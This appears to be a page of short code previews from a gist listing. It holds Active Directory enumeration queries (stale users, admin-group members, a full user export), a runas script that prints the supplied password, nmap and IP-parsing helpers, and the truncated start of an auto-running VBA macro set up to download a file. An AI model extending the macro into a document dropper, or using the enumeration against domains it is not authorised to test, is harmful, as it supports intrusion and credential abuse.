This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Get-ADUser -Filter * -Properties * ` | |
| where {($_.enabled -eq $true) -and ($_.lockedout -eq $false)} ` | |
| where {$_.lastlogondate -lt (Get-Date).AddMonths(-3)} ` | |
| select SamAccountName, lastlogondate ` | |
| sort lastlogondate |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Get-ADUser -Filter * -properties * | Export-csv domain.csv |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Get-ADUser -Filter {enabled -eq $true} | select SamAccountName |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Get-ADGroup -Filter {(name -like "*admins*") -or (name -like "*administrator*")} ` | |
| Get-ADGroupMember -Recursive | Where { $_.objectClass -eq "user" } ` | |
| Get-ADUser -properties * | where {$_.enabled -eq $true} ` | |
| where {$_.lockedout -eq $false} | select SamAccountName -unique |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sub AutoOpen() | |
Const ADTYPEBINARY = 1 | |
Const ADSAVECREATEOVERWRITE = 2 | |
Dim xHttp | |
Dim bStrm | |
Dim filename | |
Set xHttp = CreateObject("Microsoft.XMLHTTP") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
param($username, $password, $command, $arguments = " ") | |
# Don't use c:\windows\temp below, as standard users don't have access to it | |
$errfile = "c:\users\public\runas_error.txt" | |
$outfile = "c:\users\public\runas_out.txt" | |
$envusername = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name | |
write-host "Supplied Username = " $username | |
write-host "Env Username = " $envusername | |
write-host "Password = " $password |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl -nl | |
use strict; | |
next if ( $_!~m/Ports\:/i ); | |
chomp(); | |
my @toks=split( /Ports\:\s*/i, $_ ); | |
my $host=$toks[0]; | |
$host=~s/\s*Host\s*\:\s*(.*?)\s*\(.*?\).*/$1/ig; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
use strict; | |
use warnings; | |
use IO::Compress::Deflate qw(deflate $DeflateError) ; | |
deflate "-" => "-" or die "deflate failed: $DeflateError\n"; |
NewerOlder